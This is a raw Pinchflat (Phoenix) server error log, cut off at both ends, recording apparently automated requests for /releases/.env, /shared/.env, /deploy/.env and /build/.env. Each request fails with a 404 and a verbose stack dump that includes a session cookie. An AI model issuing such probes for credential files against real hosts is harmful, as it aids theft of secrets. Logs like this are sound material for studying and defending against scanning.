"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:12.301 [info] GET /releases/.env 02:10:12.302 [debug] QUERY OK source="settings" db=0.5ms idle=357.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.302 [debug] QUERY OK source="settings" db=0.3ms idle=250.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.303 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.303 [error] #PID<0.3365.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 61) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /releases/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /releases/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/releases/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 61, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3365.0>, params: %{}, path_info: ["releases", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/releases/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6W096TTFSC4AAQ8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/releases/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 61, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /releases/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/releases/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 61, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:12.394 [info] GET /shared/.env 02:10:12.395 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=342.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.396 [debug] QUERY OK source="settings" db=0.3ms idle=207.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.396 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.396 [error] #PID<0.3366.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 62) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /shared/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shared/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 62, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3366.0>, params: %{}, path_info: ["shared", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/shared/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6XLMRInE108AAQ9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shared/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 62, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shared/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 62, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:12.477 [info] GET /deploy/.env 02:10:12.478 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=288.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.479 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=176.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.479 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.480 [error] #PID<0.3367.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 63) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /deploy/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /deploy/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 63, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3367.0>, params: %{}, path_info: ["deploy", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/deploy/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Xe_b9HCX5AAAQ-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 63, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /deploy/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 63, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:12.558 [info] GET /build/.env 02:10:12.559 [debug] QUERY OK source="settings" db=0.2ms idle=256.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.559 [debug] QUERY OK source="settings" db=0.0ms idle=163.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.559 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.559 [error] #PID<0.3368.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 64) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /build/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 64, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3368.0>, params: %{}, path_info: ["build", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 